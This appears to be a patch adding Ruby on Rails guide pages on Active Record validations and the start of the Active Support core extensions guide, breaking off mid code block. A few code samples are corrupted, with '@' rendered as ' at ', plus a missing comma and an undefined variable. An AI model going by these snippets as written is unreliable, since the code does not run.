+ message: "Only letters allowed" }
+end
+```
+
+The default error message is _"is invalid"_.
+
+### `inclusion`
+
+This helper validates that the attributes' values are included in a given set.
+In fact, this set can be any enumerable object.
+
+```ruby
+class Coffee < ActiveRecord::Base
+ validates :size, inclusion: { in: %w(small medium large),
+ message: "%{value} is not a valid size" }
+end
+```
+
+The `inclusion` helper has an option `:in` that receives the set of values that
+will be accepted. The `:in` option has an alias called `:within` that you can
+use for the same purpose, if you'd like to. The previous example uses the
+`:message` option to show how you can include the attribute's value.
+
+The default error message for this helper is _"is not included in the list"_.
+
+### `length`
+
+This helper validates the length of the attributes' values. It provides a
+variety of options, so you can specify length constraints in different ways:
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, length: { minimum: 2 }
+ validates :bio, length: { maximum: 500 }
+ validates :password, length: { in: 6..20 }
+ validates :registration_number, length: { is: 6 }
+end
+```
+
+The possible length constraint options are:
+
+* `:minimum` - The attribute cannot have less than the specified length.
+* `:maximum` - The attribute cannot have more than the specified length.
+* `:in` (or `:within`) - The attribute length must be included in a given
+ interval. The value for this option must be a range.
+* `:is` - The attribute length must be equal to the given value.
+
+The default error messages depend on the type of length validation being
+performed. You can personalize these messages using the `:wrong_length`,
+`:too_long`, and `:too_short` options and `%{count}` as a placeholder for the
+number corresponding to the length constraint being used. You can still use the
+`:message` option to specify an error message.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :bio, length: { maximum: 1000,
+ too_long: "%{count} characters is the maximum allowed" }
+end
+```
+
+This helper counts characters by default, but you can split the value in a
+different way using the `:tokenizer` option:
+
+```ruby
+class Essay < ActiveRecord::Base
+ validates :content, length: {
+ minimum: 300,
+ maximum: 400,
+ tokenizer: lambda { |str| str.scan(/\w+/) },
+ too_short: "must have at least %{count} words",
+ too_long: "must have at most %{count} words"
+ }
+end
+```
+
+Note that the default error messages are plural (e.g., "is too short (minimum
+is %{count} characters)"). For this reason, when `:minimum` is 1 you should
+provide a personalized message or use `validates_presence_of` instead. When
+`:in` or `:within` have a lower limit of 1, you should either provide a
+personalized message or call `presence` prior to `length`.
+
+The `size` helper is an alias for `length`.
+
+### `numericality`
+
+This helper validates that your attributes have only numeric values. By
+default, it will match an optional sign followed by an integral or floating
+point number. To specify that only integral numbers are allowed set
+`:only_integer` to true.
+
+If you set `:only_integer` to `true`, then it will use the
+
+```ruby
+/\A[+-]?\d+\Z/
+```
+
+regular expression to validate the attribute's value. Otherwise, it will try to
+convert the value to a number using `Float`.
+
+WARNING. Note that the regular expression above allows a trailing newline
+character.
+
+```ruby
+class Player < ActiveRecord::Base
+ validates :points, numericality: true
+ validates :games_played, numericality: { only_integer: true }
+end
+```
+
+Besides `:only_integer`, this helper also accepts the following options to add
+constraints to acceptable values:
+
+* `:greater_than` - Specifies the value must be greater than the supplied
+ value. The default error message for this option is _"must be greater than
+ %{count}"_.
+* `:greater_than_or_equal_to` - Specifies the value must be greater than or
+ equal to the supplied value. The default error message for this option is
+ _"must be greater than or equal to %{count}"_.
+* `:equal_to` - Specifies the value must be equal to the supplied value. The
+ default error message for this option is _"must be equal to %{count}"_.
+* `:less_than` - Specifies the value must be less than the supplied value. The
+ default error message for this option is _"must be less than %{count}"_.
+* `:less_than_or_equal_to` - Specifies the value must be less than or equal the
+ supplied value. The default error message for this option is _"must be less
+ than or equal to %{count}"_.
+* `:odd` - Specifies the value must be an odd number if set to true. The
+ default error message for this option is _"must be odd"_.
+* `:even` - Specifies the value must be an even number if set to true. The
+ default error message for this option is _"must be even"_.
+
+The default error message is _"is not a number"_.
+
+### `presence`
+
+This helper validates that the specified attributes are not empty. It uses the
+`blank?` method to check if the value is either `nil` or a blank string, that
+is, a string that is either empty or consists of whitespace.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, :login, :email, presence: true
+end
+```
+
+If you want to be sure that an association is present, you'll need to test
+whether the associated object itself is present, and not the foreign key used
+to map the association.
+
+```ruby
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+ validates :order, presence: true
+end
+```
+
+In order to validate associated records whose presence is required, you must
+specify the `:inverse_of` option for the association:
+
+```ruby
+class Order < ActiveRecord::Base
+ has_many :line_items, inverse_of: :order
+end
+```
+
+If you validate the presence of an object associated via a `has_one` or
+`has_many` relationship, it will check that the object is neither `blank?` nor
+`marked_for_destruction?`.
+
+Since `false.blank?` is true, if you want to validate the presence of a boolean
+field you should use `validates :field_name, inclusion: { in: [true, false] }`.
+
+The default error message is _"can't be empty"_.
+
+### `absence`
+
+This helper validates that the specified attributes are absent. It uses the
+`present?` method to check if the value is not either nil or a blank string, that
+is, a string that is either empty or consists of whitespace.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, :login, :email, absence: true
+end
+```
+
+If you want to be sure that an association is absent, you'll need to test
+whether the associated object itself is absent, and not the foreign key used
+to map the association.
+
+```ruby
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+ validates :order, absence: true
+end
+```
+
+In order to validate associated records whose absence is required, you must
+specify the `:inverse_of` option for the association:
+
+```ruby
+class Order < ActiveRecord::Base
+ has_many :line_items, inverse_of: :order
+end
+```
+
+If you validate the absence of an object associated via a `has_one` or
+`has_many` relationship, it will check that the object is neither `present?` nor
+`marked_for_destruction?`.
+
+Since `false.present?` is false, if you want to validate the absence of a boolean
+field you should use `validates :field_name, exclusion: { in: [true, false] }`.
+
+The default error message is _"must be blank"_.
+
+### `uniqueness`
+
+This helper validates that the attribute's value is unique right before the
+object gets saved. It does not create a uniqueness constraint in the database,
+so it may happen that two different database connections create two records
+with the same value for a column that you intend to be unique. To avoid that,
+you must create a unique index in your database.
+
+```ruby
+class Account < ActiveRecord::Base
+ validates :email, uniqueness: true
+end
+```
+
+The validation happens by performing an SQL query into the model's table,
+searching for an existing record with the same value in that attribute.
+
+There is a `:scope` option that you can use to specify other attributes that
+are used to limit the uniqueness check:
+
+```ruby
+class Holiday < ActiveRecord::Base
+ validates :name, uniqueness: { scope: :year,
+ message: "should happen once per year" }
+end
+```
+
+There is also a `:case_sensitive` option that you can use to define whether the
+uniqueness constraint will be case sensitive or not. This option defaults to
+true.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, uniqueness: { case_sensitive: false }
+end
+```
+
+WARNING. Note that some databases are configured to perform case-insensitive
+searches anyway.
+
+The default error message is _"has already been taken"_.
+
+### `validates_with`
+
+This helper passes the record to a separate class for validation.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates_with GoodnessValidator
+end
+
+class GoodnessValidator < ActiveModel::Validator
+ def validate(record)
+ if record.first_name == "Evil"
+ record.errors[:base] << "This person is evil"
+ end
+ end
+end
+```
+
+NOTE: Errors added to `record.errors[:base]` relate to the state of the record
+as a whole, and not to a specific attribute.
+
+The `validates_with` helper takes a class, or a list of classes to use for
+validation. There is no default error message for `validates_with`. You must
+manually add errors to the record's errors collection in the validator class.
+
+To implement the validate method, you must have a `record` parameter defined,
+which is the record to be validated.
+
+Like all other validations, `validates_with` takes the `:if`, `:unless` and
+`:on` options. If you pass any other options, it will send those options to the
+validator class as `options`:
+
+```ruby
+class Person < ActiveRecord::Base
+ validates_with GoodnessValidator, fields: [:first_name, :last_name]
+end
+
+class GoodnessValidator < ActiveModel::Validator
+ def validate(record)
+ if options[:fields].any?{|field| record.send(field) == "Evil" }
+ record.errors[:base] << "This person is evil"
+ end
+ end
+end
+```
+
+Note that the validator will be initialized *only once* for the whole application
+life cycle, and not on each validation run, so be careful about using instance
+variables inside it.
+
+If your validator is complex enough that you want instance variables, you can
+easily use a plain old Ruby object instead:
+
+```ruby
+class Person < ActiveRecord::Base
+ validate do |person|
+ GoodnessValidator.new(person).validate
+ end
+end
+
+class GoodnessValidator
+ def initialize(person)
+ @person = person
+ end
+
+ def validate
+ if some_complex_condition_involving_ivars_and_private_methods?
+ @person.errors[:base] << "This person is evil"
+ end
+ end
+
+ # …
+end
+```
+
+### `validates_each`
+
+This helper validates attributes against a block. It doesn't have a predefined
+validation function. You should create one using a block, and every attribute
+passed to `validates_each` will be tested against it. In the following example,
+we don't want names and surnames to begin with lower case.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates_each :name, :surname do |record, attr, value|
+ record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
+ end
+end
+```
+
+The block receives the record, the attribute's name and the attribute's value.
+You can do anything you like to check for valid data within the block. If your
+validation fails, you should add an error message to the model, therefore
+making it invalid.
+
+Common Validation Options
+-------------------------
+
+These are common validation options:
+
+### `:allow_nil`
+
+The `:allow_nil` option skips the validation when the value being validated is
+`nil`.
+
+```ruby
+class Coffee < ActiveRecord::Base
+ validates :size, inclusion: { in: %w(small medium large),
+ message: "%{value} is not a valid size" }, allow_nil: true
+end
+```
+
+### `:allow_blank`
+
+The `:allow_blank` option is similar to the `:allow_nil` option. This option
+will let validation pass if the attribute's value is `blank?`, like `nil` or an
+empty string for example.
+
+```ruby
+class Topic < ActiveRecord::Base
+ validates :title, length: { is: 5 }, allow_blank: true
+end
+
+Topic.create("title" => "").valid? # => true
+Topic.create("title" => nil).valid? # => true
+```
+
+### `:message`
+
+As you've already seen, the `:message` option lets you specify the message that
+will be added to the `errors` collection when validation fails. When this
+option is not used, Active Record will use the respective default error message
+for each validation helper.
+
+### `:on`
+
+The `:on` option lets you specify when the validation should happen. The
+default behavior for all the built-in validation helpers is to be run on save
+(both when you're creating a new record and when you're updating it). If you
+want to change it, you can use `on: :create` to run the validation only when a
+new record is created or `on: :update` to run the validation only when a record
+is updated.
+
+```ruby
+class Person < ActiveRecord::Base
+ # it will be possible to update email with a duplicated value
+ validates :email, uniqueness: true, on: :create
+
+ # it will be possible to create the record with a non-numerical age
+ validates :age, numericality: true, on: :update
+
+ # the default (validates on both create and update)
+ validates :name, presence: true, on: :save
+end
+```
+
+Strict Validations
+------------------
+
+You can also specify validations to be strict and raise
+`ActiveModel::StrictValidationFailed` when the object is invalid.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: { strict: true }
+end
+
+Person.new.valid? # => ActiveModel::StrictValidationFailed: Name can't be blank
+```
+
+There is also an ability to pass custom exception to `:strict` option
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :token, presence: true, uniqueness: true, strict: TokenGenerationException
+end
+
+Person.new.valid? # => TokenGenerationException: Token can't be blank
+```
+
+Conditional Validation
+----------------------
+
+Sometimes it will make sense to validate an object only when a given predicate
+is satisfied. You can do that by using the `:if` and `:unless` options, which
+can take a symbol, a string, a `Proc` or an `Array`. You may use the `:if`
+option when you want to specify when the validation **should** happen. If you
+want to specify when the validation **should not** happen, then you may use the
+`:unless` option.
+
+### Using a Symbol with `:if` and `:unless`
+
+You can associate the `:if` and `:unless` options with a symbol corresponding
+to the name of a method that will get called right before validation happens.
+This is the most commonly used option.
+
+```ruby
+class Order < ActiveRecord::Base
+ validates :card_number, presence: true, if: :paid_with_card?
+
+ def paid_with_card?
+ payment_type == "card"
+ end
+end
+```
+
+### Using a String with `:if` and `:unless`
+
+You can also use a string that will be evaluated using `eval` and needs to
+contain valid Ruby code. You should use this option only when the string
+represents a really short condition.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :surname, presence: true, if: "name.nil?"
+end
+```
+
+### Using a Proc with `:if` and `:unless`
+
+Finally, it's possible to associate `:if` and `:unless` with a `Proc` object
+which will be called. Using a `Proc` object gives you the ability to write an
+inline condition instead of a separate method. This option is best suited for
+one-liners.
+
+```ruby
+class Account < ActiveRecord::Base
+ validates :password, confirmation: true,
+ unless: Proc.new { |a| a.password.blank? }
+end
+```
+
+### Grouping Conditional validations
+
+Sometimes it is useful to have multiple validations use one condition, it can
+be easily achieved using `with_options`.
+
+```ruby
+class User < ActiveRecord::Base
+ with_options if: :is_admin? do |admin|
+ admin.validates :password, length: { minimum: 10 }
+ admin.validates :email, presence: true
+ end
+end
+```
+
+All validations inside of `with_options` block will have automatically passed
+the condition `if: :is_admin?`
+
+### Combining Validation Conditions
+
+On the other hand, when multiple conditions define whether or not a validation
+should happen, an `Array` can be used. Moreover, you can apply both `:if` and
+`:unless` to the same validation.
+
+```ruby
+class Computer < ActiveRecord::Base
+ validates :mouse, presence: true,
+ if: ["market.retail?", :desktop?]
+ unless: Proc.new { |c| c.trackpad.present? }
+end
+```
+
+The validation only runs when all the `:if` conditions and none of the
+`:unless` conditions are evaluated to `true`.
+
+Performing Custom Validations
+-----------------------------
+
+When the built-in validation helpers are not enough for your needs, you can
+write your own validators or validation methods as you prefer.
+
+### Custom Validators
+
+Custom validators are classes that extend `ActiveModel::Validator`. These
+classes must implement a `validate` method which takes a record as an argument
+and performs the validation on it. The custom validator is called using the
+`validates_with` method.
+
+```ruby
+class MyValidator < ActiveModel::Validator
+ def validate(record)
+ unless record.name.starts_with? 'X'
+ record.errors[:name] << 'Need a name starting with X please!'
+ end
+ end
+end
+
+class Person
+ include ActiveModel::Validations
+ validates_with MyValidator
+end
+```
+
+The easiest way to add custom validators for validating individual attributes
+is with the convenient `ActiveModel::EachValidator`. In this case, the custom
+validator class must implement a `validate_each` method which takes three
+arguments: record, attribute and value which correspond to the instance, the
+attribute to be validated and the value of the attribute in the passed
+instance.
+
+```ruby
+class EmailValidator < ActiveModel::EachValidator
+ def validate_each(record, attribute, value)
+ unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
+ record.errors[attribute] << (options[:message] || "is not an email")
+ end
+ end
+end
+
+class Person < ActiveRecord::Base
+ validates :email, presence: true, email: true
+end
+```
+
+As shown in the example, you can also combine standard validations with your
+own custom validators.
+
+### Custom Methods
+
+You can also create methods that verify the state of your models and add
+messages to the `errors` collection when they are invalid. You must then
+register these methods by using the `validate` class method, passing in the
+symbols for the validation methods' names.
+
+You can pass more than one symbol for each class method and the respective
+validations will be run in the same order as they were registered.
+
+```ruby
+class Invoice < ActiveRecord::Base
+ validate :expiration_date_cannot_be_in_the_past,
+ :discount_cannot_be_greater_than_total_value
+
+ def expiration_date_cannot_be_in_the_past
+ if expiration_date.present? && expiration_date < Date.today
+ errors.add(:expiration_date, "can't be in the past")
+ end
+ end
+
+ def discount_cannot_be_greater_than_total_value
+ if discount > total_value
+ errors.add(:discount, "can't be greater than total value")
+ end
+ end
+end
+```
+
+By default such validations will run every time you call `valid?`. It is also
+possible to control when to run these custom validations by giving an `:on`
+option to the `validate` method, with either: `:create` or `:update`.
+
+```ruby
+class Invoice < ActiveRecord::Base
+ validate :active_customer, on: :create
+
+ def active_customer
+ errors.add(:customer_id, "is not active") unless customer.active?
+ end
+end
+```
+
+Working with Validation Errors
+------------------------------
+
+In addition to the `valid?` and `invalid?` methods covered earlier, Rails provides a number of methods for working with the `errors` collection and inquiring about the validity of objects.
+
+The following is a list of the most commonly used methods. Please refer to the `ActiveModel::Errors` documentation for a list of all the available methods.
+
+### `errors`
+
+Returns an instance of the class `ActiveModel::Errors` containing all errors. Each key is the attribute name and the value is an array of strings with all errors.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors
+ # => {:name=>["can't be blank", "is too short (minimum is 3 characters)"]}
+
+person = Person.new(name: "John Doe")
+person.valid? # => true
+person.errors # => []
+```
+
+### `errors[]`
+
+`errors[]` is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new(name: "John Doe")
+person.valid? # => true
+person.errors[:name] # => []
+
+person = Person.new(name: "JD")
+person.valid? # => false
+person.errors[:name] # => ["is too short (minimum is 3 characters)"]
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+```
+
+### `errors.add`
+
+The `add` method lets you manually add messages that are related to particular attributes. You can use the `errors.full_messages` or `errors.to_a` methods to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). `add` receives the name of the attribute you want to add the message to, and the message itself.
+
+```ruby
+class Person < ActiveRecord::Base
+ def a_method_used_for_validation_purposes
+ errors.add(:name, "cannot contain the characters !@#%*()_-+=")
+ end
+end
+
+person = Person.create(name: "!@#")
+
+person.errors[:name]
+ # => ["cannot contain the characters !@#%*()_-+="]
+
+person.errors.full_messages
+ # => ["Name cannot contain the characters !@#%*()_-+="]
+```
+
+Another way to do this is using `[]=` setter
+
+```ruby
+ class Person < ActiveRecord::Base
+ def a_method_used_for_validation_purposes
+ errors[:name] = "cannot contain the characters !@#%*()_-+="
+ end
+ end
+
+ person = Person.create(name: "!@#")
+
+ person.errors[:name]
+ # => ["cannot contain the characters !@#%*()_-+="]
+
+ person.errors.to_a
+ # => ["Name cannot contain the characters !@#%*()_-+="]
+```
+
+### `errors[:base]`
+
+You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since `errors[:base]` is an array, you can simply add a string to it and it will be used as an error message.
+
+```ruby
+class Person < ActiveRecord::Base
+ def a_method_used_for_validation_purposes
+ errors[:base] << "This person is invalid because ..."
+ end
+end
+```
+
+### `errors.clear`
+
+The `clear` method is used when you intentionally want to clear all the messages in the `errors` collection. Of course, calling `errors.clear` upon an invalid object won't actually make it valid: the `errors` collection will now be empty, but the next time you call `valid?` or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the `errors` collection will be filled again.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+person.errors.clear
+person.errors.empty? # => true
+
+p.save # => false
+
+p.errors[:name]
+# => ["can't be blank", "is too short (minimum is 3 characters)"]
+```
+
+### `errors.size`
+
+The `size` method returns the total number of error messages for the object.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.size # => 2
+
+person = Person.new(name: "Andrea", email: "andrea at example.com")
+person.valid? # => true
+person.errors.size # => 0
+```
+
+Displaying Validation Errors in Views
+-------------------------------------
+
+Once you've created a model and added validations, if that model is created via
+a web form, you probably want to display an error message when one of the
+validations fail.
+
+Because every application handles this kind of thing differently, Rails does
+not include any view helpers to help you generate these messages directly.
+However, due to the rich number of methods Rails gives you to interact with
+validations in general, it's fairly easy to build your own. In addition, when
+generating a scaffold, Rails will put some ERB into the `_form.html.erb` that
+it generates that displays the full list of errors on that model.
+
+Assuming we have a model that's been saved in an instance variable named
+`@post`, it looks like this:
+
+```ruby
+<% if @post.errors.any? %>
+ <div id="error_explanation">
+ <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2>
+
+ <ul>
+ <% @post.errors.full_messages.each do |msg| %>
+ <li><%= msg %></li>
+ <% end %>
+ </ul>
+ </div>
+<% end %>
+```
+
+Furthermore, if you use the Rails form helpers to generate your forms, when
+a validation error occurs on a field, it will generate an extra `<div>` around
+the entry.
+
+```
+<div class="field_with_errors">
+ <input id="post_title" name="post[title]" size="30" type="text" value="">
+</div>
+```
+
+You can then style this div however you'd like. The default scaffold that
+Rails generates, for example, adds this CSS rule:
+
+```
+.field_with_errors {
+ padding: 2px;
+ background-color: red;
+ display: table;
+}
+```
+
+This means that any field with an error ends up with a 2 pixel red border.

+Active Support Core Extensions
+==============================
+
+Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff.
+
+It offers a richer bottom-line at the language level, targeted both at the development of Rails applications, and at the development of Ruby on Rails itself.
+
+After reading this guide, you will know:
+
+* What Core Extensions are.
+* How to load all extensions.
+* How to cherry-pick just the extensions you want.
+* What extensions ActiveSupport provides.
+
+--------------------------------------------------------------------------------
+
+How to Load Core Extensions
+---------------------------
+
+### Stand-Alone Active Support
+
+In order to have a near-zero default footprint, Active Support does not load anything by default. It is broken in small pieces so that you can load just what you need, and also has some convenience entry points to load related extensions in one shot, even everything.
+
+Thus, after a simple require like:
+
+```ruby
+require 'active_support'
+```
+
+objects do not even respond to `blank?`. Let's see how to load its definition.
+
+#### Cherry-picking a Definition
+
+The most lightweight way to get `blank?` is to cherry-pick the file that defines it.
+
+For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of `blank?` the note reads:
+
+NOTE: Defined in `active_support/core_ext/object/blank.rb`.
+
+That means that this single call is enough:
+
+```ruby
+require 'active_support/core_ext/object/blank'
+```
+
+Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any.
+
+#### Loading Grouped Core Extensions
+
+The next level is to simply load all extensions to `Object`. As a rule of thumb, extensions to `SomeClass` are available in one shot by loading `active_support/core_ext/some_class`.
+
+Thus, to load all extensions to `Object` (including `blank?`):
+
+```ruby
+require 'active_support/core_ext/object'
+```
+
+#### Loading All Core Extensions
+
+You may prefer just to load all core extensions, there is a file for that:
+
+```ruby
+require 'active_support/core_ext'
+```
+
+#### Loading All Active Support
+
+And finally, if you want to have all Active Support available just issue:
+
+```ruby
+require 'active_support/all'
+```
+
+That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via `autoload`, so it is only loaded if used.
+
+### Active Support Within a Ruby on Rails Application
+
+A Ruby on Rails application loads all Active Support unless `config.active_support.bare` is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.
+
+Extensions to All Objects
+-------------------------
+
+### `blank?` and `present?`
+
+The following values are considered to be blank in a Rails application:
+
+* `nil` and `false`,
+
+* strings composed only of whitespace (see note below),
+
+* empty arrays and hashes, and
+
+* any other object that responds to `empty?` and is empty.
+
+INFO: The predicate for strings uses the Unicode-aware character class `[:space:]`, so for example U+2029 (paragraph separator) is considered to be whitespace.
+
+WARNING: Note that numbers are not mentioned. In particular, 0 and 0.0 are **not** blank.
+
+For example, this method from `ActionDispatch::Session::AbstractStore` uses `blank?` for checking whether a session key is present:
+
+```ruby
+def ensure_session_key!
+ if @key.blank?
+ raise ArgumentError, 'A key is required...'
+ end
+end
+```
+
+The method `present?` is equivalent to `!blank?`. This example is taken from `ActionDispatch::Http::Cache::Response`:
+
+```ruby
+def set_conditional_cache_control!
+ return if self["Cache-Control"].present?
+ ...
+end
+```
+
+NOTE: Defined in `active_support/core_ext/object/blank.rb`.
+
+### `presence`
+
+The `presence` method returns its receiver if `present?`, and `nil` otherwise. It is useful for idioms like this:
+
+```ruby
+host = config[:host].presence || 'localhost'
+```
+
+NOTE: Defined in `active_support/core_ext/object/blank.rb`.
+
+### `duplicable?`
+
+A few fundamental objects in Ruby are singletons. For example, in the whole life of a program the integer 1 refers always to the same instance:
+
+```ruby
+1.object_id # => 3
+Math.cos(0).to_i.object_id # => 3
+```
+
+Hence, there's no way these objects can be duplicated through `dup` or `clone`:
+
+```ruby
+true.dup # => TypeError: can't dup TrueClass
+```
+
+Some numbers which are not singletons are not duplicable either:
+
+```ruby
+0.0.clone # => allocator undefined for Float
+(2**1024).clone # => allocator undefined for Bignum
+```
+
+Active Support provides `duplicable?` to programmatically query an object about this property:
+
+```ruby
+"foo".duplicable? # => true
+"".duplicable? # => true
+0.0.duplicable? # => false
+false.duplicable? # => false
+```
+
+By definition all objects are `duplicable?` except `nil`, `false`, `true`, symbols, numbers, class, and module objects.
+
+WARNING: Any class can disallow duplication by removing `dup` and `clone` or raising exceptions from them. Thus only `rescue` can tell whether a given arbitrary object is duplicable. `duplicable?` depends on the hard-coded list above, but it is much faster than `rescue`. Use it only if you know the hard-coded list is enough in your use case.
+
+NOTE: Defined in `active_support/core_ext/object/duplicable.rb`.
+
+### `deep_dup`
+
+The `deep_dup` method returns deep copy of a given object. Normally, when you `dup` an object that contains other objects, ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this:
+
+```ruby
+array = ['string']
+duplicate = array.dup
+
+duplicate.push 'another-string'
+
+# the object was duplicated, so the element was added only to the duplicate
+array #=> ['string']
+duplicate #=> ['string', 'another-string']
+
+duplicate.first.gsub!('string', 'foo')
+
+# first element was not duplicated, it will be changed in both arrays
+array #=> ['foo']
+duplicate #=> ['foo', 'another-string']
+```
+
+As you can see, after duplicating the `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make deep copy, the string inside the array is still the same object.
+
+If you need a deep copy of an object, you should use `deep_dup`. Here is an example:
+
+```ruby
+array = ['string']
+duplicate = array.deep_dup
+
+duplicate.first.gsub!('string', 'foo')
+
+array #=> ['string']
+duplicate #=> ['foo']
+```
+
+If the object is not duplicable, `deep_dup` will just return it:
+
+```ruby
+number = 1
+duplicate = number.deep_dup
+number.object_id == duplicate.object_id # => true
+```
+
+NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
+
+### `try`
+
+When you want to call a method on an object only if it is not `nil`, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use `try`. `try` is like `Object#send` except that it returns `nil` if sent to `nil`.
+
+Here is an example:
+
+```ruby
+# without try
+unless @number.nil?
+ @number.next
+end
+
+# with try
+ at number.try(:next)
+```
+
+Another example is this code from `ActiveRecord::ConnectionAdapters::AbstractAdapter` where `@logger` could be `nil`. You can see that the code uses `try` and avoids an unnecessary check.
+
+```ruby
+def log_info(sql, name, ms)
+ if @logger.try(:debug?)
+ name = '%s (%.1fms)' % [name || 'SQL', ms]
+ @logger.debug(format_log_entry(name, sql.squeeze(' ')))
+ end
+end
+```
+
+`try` can also be called without arguments but a block, which will only be executed if the object is not nil:
+
+```ruby
+ at person.try { |p| "#{p.first_name} #{p.last_name}" }
+```
+
+NOTE: Defined in `active_support/core_ext/object/try.rb`.
+
+### `class_eval(*args, &block)`
+
+You can evaluate code in the context of any object's singleton class using `class_eval`:
+
+```ruby
+class Proc
+ def bind(object)
+ block, time = self, Time.current
+ object.class_eval do
+ method_name = "__bind_#{time.to_i}_#{time.usec}"
+ define_method(method_name, &block)
+ method = instance_method(method_name)
+ remove_method(method_name)
+ method
+ end.bind(object)
+ end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/kernel/singleton_class.rb`.
+
+### `acts_like?(duck)`
+
+The method `acts_like?` provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as `String` defines
+
+```ruby
+def acts_like_string?
+end
+```
+
+which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:
+
+```ruby
+some_klass.acts_like?(:string)
+```
+
+Rails has classes that act like `Date` or `Time` and follow this contract.
+
+NOTE: Defined in `active_support/core_ext/object/acts_like.rb`.
+
+### `to_param`
+
+All objects in Rails respond to the method `to_param`, which is meant to return something that represents them as values in a query string, or as URL fragments.
+
+By default `to_param` just calls `to_s`:
+
+```ruby
+7.to_param # => "7"
+```
+
+The return value of `to_param` should **not** be escaped:
+
+```ruby
+"Tom & Jerry".to_param # => "Tom & Jerry"
+```
+
+Several classes in Rails overwrite this method.
+
+For example `nil`, `true`, and `false` return themselves. `Array#to_param` calls `to_param` on the elements and joins the result with "/":
+
+```ruby
+[0, true, String].to_param # => "0/true/String"
+```
+
+Notably, the Rails routing system calls `to_param` on models to get a value for the `:id` placeholder. `ActiveRecord::Base#to_param` returns the `id` of a model, but you can redefine that method in your models. For example, given
+
+```ruby
+class User
+ def to_param
+ "#{id}-#{name.parameterize}"
+ end
+end
+```
+
+we get:
+
+```ruby
+user_path(@user) # => "/users/357-john-smith"
+```
+
+WARNING. Controllers need to be aware of any redefinition of `to_param` because when a request like that comes in "357-john-smith" is the value of `params[:id]`.
+
+NOTE: Defined in `active_support/core_ext/object/to_param.rb`.
+
+### `to_query`
+
+Except for hashes, given an unescaped `key` this method constructs the part of a query string that would map such key to what `to_param` returns. For example, given
+
+```ruby
+class User
+ def to_param
+ "#{id}-#{name.parameterize}"
+ end
+end
+```
+
+we get:
+
+```ruby
+current_user.to_query('user') # => user=357-john-smith
+```
+
+This method escapes whatever is needed, both for the key and the value:
+
+```ruby
+account.to_query('company[name]')
+# => "company%5Bname%5D=Johnson+%26+Johnson"
+```
+
+so its output is ready to be used in a query string.
+
+Arrays return the result of applying `to_query` to each element with `_key_[]` as key, and join the result with "&":
+
+```ruby
+[3.4, -45.6].to_query('sample')
+# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
+```
+
+Hashes also respond to `to_query` but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling `to_query(key)` on its values. Then it joins the result with "&":
+
+```ruby
+{c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3"
+```
+
+The method `Hash#to_query` accepts an optional namespace for the keys:
+
+```ruby
+{id: 89, name: "John Smith"}.to_query('user')
+# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
+```
+
+NOTE: Defined in `active_support/core_ext/object/to_query.rb`.
+
+### `with_options`
+
+The method `with_options` provides a way to factor out common options in a series of method calls.
+
+Given a default options hash, `with_options` yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:
+
+```ruby
+class Account < ActiveRecord::Base
+ has_many :customers, dependent: :destroy
+ has_many :products, dependent: :destroy
+ has_many :invoices, dependent: :destroy
+ has_many :expenses, dependent: :destroy
+end
+```
+
+this way:
+
+```ruby
+class Account < ActiveRecord::Base
+ with_options dependent: :destroy do |assoc|
+ assoc.has_many :customers
+ assoc.has_many :products
+ assoc.has_many :invoices
+ assoc.has_many :expenses
+ end
+end
+```
+
+That idiom may convey _grouping_ to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:
+
+```ruby
